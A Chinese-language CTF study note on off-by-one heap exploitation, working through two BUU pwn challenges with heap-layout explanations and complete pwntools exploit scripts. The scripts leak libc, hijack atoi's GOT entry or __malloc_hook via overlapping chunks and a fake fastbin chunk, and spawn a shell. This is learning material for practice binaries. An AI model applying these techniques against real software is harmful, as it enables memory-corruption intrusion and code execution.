关于 off-by-one 的学习

pwn的功底还很浅,仅仅是记录自己学习的一点心得体会。

后续随着学习深入,还会补知识点和题目上来。

知识点

优秀的学习资料

关于off by null的学习总结 | ZIKH26

Chunk Extend and Overlapping | ctfwiki

一点理解

与off-by-one联系很紧密的就是上面提到的 Chunk Extend and Overlapping

也就是常说的"造堆块重叠"。
为什么要造堆块重叠?

比如我们想要改写一个chunk的头部字段,也就是prev_size和size段,直接申请肯定是改不了的。

一种思路是构造错位的fake chunk,另一种更简单的思路就是造堆块重叠,通过修改size位,使得一个大的堆块的user data部分包括了我们想要修改的小堆块的header部分。

例题

[buu] hitcontraining_heapcreator

题目

我觉得这道题算是一个很好的了解off-by-one利用方式的一个例题。题目难度不大,利用点还是比较巧妙的。

反编译找漏洞点,

这里存在一个人为的off-by-one,而且这里可以多写一个字节。

回到题目的分配情况,

先分配了一个size为0x10的chunk来存放一些信息,后面再为content分配了一个chunk

这里gdb调试看看就很清晰

比如我 add(0x28,'0'),add(0x10,'1')后的堆块布局

可以看到我们每次add都会在低地址先malloc一个存放堆块信息的chunk,紧接着再malloc了一个存content的chunk。

然后注意到对于edit,show这些的操作都是通过堆块信息 的结构体来"索引"的,那我们想要泄露libc就可以把堆块信息的这个chunk的 *content 字段修改为某个函数的got表的地址,比如这道题就用atoi,那么show的时候就会打印出atoi_addr了。

这就涉及到前面"一点理解"那里类似的情形,我们直接无法修改这个"存放堆块信息"的chunk的内容,所以可以比较巧妙的利用off-by-one来实现堆块的extend

比如我们这么修改一下,其实就能造成堆块的扩张和重叠

下面来讲下具体的利用。

  1. 首先我们要修改一个"存放堆块信息"堆块的size 段。
    这步可以通过这个信息堆块上面的内容堆块的off-by-one漏洞实现。
  2. 然后我们free掉这个信息堆块对应的chunk的index
  3. 这时,根据delete_heap的实现

信息堆块和内容堆块都会free,所以此时fastbins里面有0x20,0x40两个size的bin

  1. 此时我们add一个0x30的chunk,0x40的fastbin会被申请为内容堆块,而又会申请一个0x20的信息堆块,所以0x20的bin也会被申请回来。
  1. 这道题很关键的点是信息堆块决定了对应chunk的size以及内容!所以在上一步add(0x30)时就能覆写对应信息堆块的内容。这样就能把内容改为atoi的got表,show(1)就能泄露libc了。
  2. 由于已经改了chunk1的内容地址,那么edit(1)就能把atoi的got表的内容改为system了,再发送一个"/bin/sh\x00"就能getshell了。

当然还有些细节,比如最后提到的0x18,0x28的size选择,以及修改信息堆块内容是要预留size字段(不然最后edit没长度给你写)等等。

Exp:

python 复制代码
atoi_got = elf.got['atoi']

add(0x28,'0')
add(0x10,'1')
edit(0,b'a'*0x28+b'\x41')
free(1)
debug()
add(0x30,b'a'*0x20+p64(0x10)+p64(atoi_got))
show(1)
leak = leak_address()
info_addr("atoi",leak)
atoi = leak

libcbase = atoi - libc.sym['atoi']
info_addr("libcbase",libcbase)
system = libcbase + libc.sym['system']

edit(1,p64(system))

sla("Your choice :",b"/bin/sh\x00")


p.interactive()

这道题其实还有个点很关键,也是我最开始比较疑惑的一个点。ZIKH师傅的EXP最开始的chunk0 add的是0x18,我自己实践改为0x10,0x20这些均不行,改为0x28却又可以。

调试发现,改为0x10,0x20这种的时候,我们的userdata是不会启用下一个chunk的prev_size 的。

而分配0x18,0x28这种时,ptmalloc2的机制就会复用next_chunk的prev_size段

emmm,其实归根到底就是自己对堆还是不够熟悉。毕竟只看wiki的讲解,知识点那么多,细节点也很繁杂,很难记得住。当然,实战碰到过,自己调试看一遍再理解后就好多了。

[buu] roarctf_2019_easy_pwn

题目

题目漏洞点在这里,

当a2-a1==10这个if里面,也就是edit输入的size比add的size刚好大10的时候,存在一个off-by-one。

大致分配结构

还是用bss段存了chunk的inuse和*content

我们还是可以通过off-by-one结合0x?8的size复用prev_size的特点来伪造prev_size和size触发前向(低地址)合并

此时再free(2)就可以看到触发合并了

这时,我们再add(0x80),再show(1),其实就能打印出 main_arena+88的值了

我的理解是:这里的add(0x80)就是把unsortedbin给切分了,使得fd指针(main_arena+88)移到了可show的chunk1 段。

至此就泄露了libc的基址

后面的操作感觉涉及到很多堆块的重叠,这里就逐步调试的看。

泄露libc时的堆布局

add(0x68)

(从unsortedbin切了一块)

free(1)

(fastbin 0x70)

edit(2,p64(malloc_hook-0x23))

(这里利用了上上步申请的0x68的chunk2和刚刚free的chunk1是重叠的(chunk1在最开始申请的))

add(0x68)

(申请回chunk1,实际也是chunk2)

add(0x68)

(申请回malloc_hook-0x23处的fake_chunk)

然后就是要用realloc调整栈帧,就能getshell了。

然后本地能打通,远程打不通。

看了看ZIKH师傅的Exp,需要把本地的
realloc = libcbase + libc.sym['realloc']改为realloc = libcbase + 0x846c0

然后还要改one_gadget的值

像这两个one_gadget有一个offset,目前不知道为什么,可能跟调整栈帧有关?(后面来学)

打本地Exp:

python 复制代码
add(0x80)
add(0x68)
add(0x80)
add(0x10)

free(0)
pl = b'a'*0x60 + p64(0x100) + p8(0x90) # prev_size -> chunk0(freed)  size:0x91->0x90
edit(1,0x68+10,pl)

free(2) # trigger consolidate
add(0x80)
show(1)

leak = leak_address()
info_addr("leak",leak)
libcbase = leak - 88 - 0x10 - libc.sym['__malloc_hook']
info_addr("libcbase",libcbase)
ogs = [0x45226,0x4527a,0xf03a4,0xf1247] # one_gadgets
og = ogs[1] + libcbase
malloc_hook = libcbase + libc.sym['__malloc_hook']
realloc = libcbase + libc.sym['realloc']
info_addr("malloc_hook",malloc_hook)

add(0x68)
free(1)

edit(2,8,p64(malloc_hook-0x23)) # fake_chunk

add(0x68)

add(0x68)

pl = b'a'*11 + p64(og) + p64(realloc+16)
edit(4,len(pl),pl)

add(0xFF)


p.interactive()

本地:

远程:


总结,难。

相关推荐
blessing。。29 分钟前
I2C学习
linux·单片机·嵌入式硬件·嵌入式
2202_7544215444 分钟前
生成MPSOC以及ZYNQ的启动文件BOOT.BIN的小软件
java·linux·开发语言
运维&陈同学1 小时前
【zookeeper03】消息队列与微服务之zookeeper集群部署
linux·微服务·zookeeper·云原生·消息队列·云计算·java-zookeeper
周末不下雨2 小时前
win11+ubuntu22.04双系统 | 联想 24 y7000p | ubuntu 22.04 | 把ubuntu系统装到1T的移动固态硬盘上!!!
linux·运维·ubuntu
哎呦喂-ll3 小时前
Linux进阶:环境变量
linux
Rverdoser3 小时前
Linux环境开启MongoDB的安全认证
linux·安全·mongodb
PigeonGuan3 小时前
【jupyter】linux服务器怎么使用jupyter
linux·ide·jupyter
东华果汁哥4 小时前
【linux 免密登录】快速设置kafka01、kafka02、kafka03 三台机器免密登录
linux·运维·服务器
咖喱鱼蛋4 小时前
Ubuntu安装Electron环境
linux·ubuntu·electron